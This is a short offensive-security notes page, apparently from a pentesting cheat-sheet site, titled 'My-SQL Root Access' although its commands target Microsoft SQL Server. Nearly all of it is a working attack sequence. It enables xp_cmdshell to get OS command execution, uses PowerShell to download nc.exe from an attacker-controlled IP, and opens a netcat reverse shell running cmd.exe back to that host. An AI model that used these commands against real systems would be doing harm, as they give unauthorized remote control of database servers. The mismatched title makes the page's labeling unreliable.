> For the complete documentation index, see [llms.txt](https://p1yushsecurity.gitbook.io/offsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://p1yushsecurity.gitbook.io/offsec/common-ports/tcp/sql/mysql/my-sql-root-access.md).

# My-SQL Root Access

```




----------------
After connecting :
Should we execute commands here:
>>>SELECT is_srvrolemember('sysadmin');
This will return us 1, which means true. So we can proceed -
>>>EXECUTE sp_configure 'show advanced options',1;
>>>RECONFIGURE;
>>>EXECUTE sp_configure 'xp_cmdshell',1;
>>>RECONFIGURE;
Now try running :
>>>xp_cmdshell "whoami"

-----------------

mssql stable shell:
>>>https://github.com/int0x33/nc.exe/blob/master/nc.exe  → downloads this on kali 
>>>python3 -m http.server → on kali 
>>> xp_cmdshell "powershell.exe wget http://[Your_tun0_IP]:8000/nc.exe -OutFile c:\\Users\Public\\nc.exe"  
>>>nc -lvnp 4444  → on kali
>>>xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe [Your_tun0_IP] 4444"

----------------------------------------------------------------------------------------------------------------
```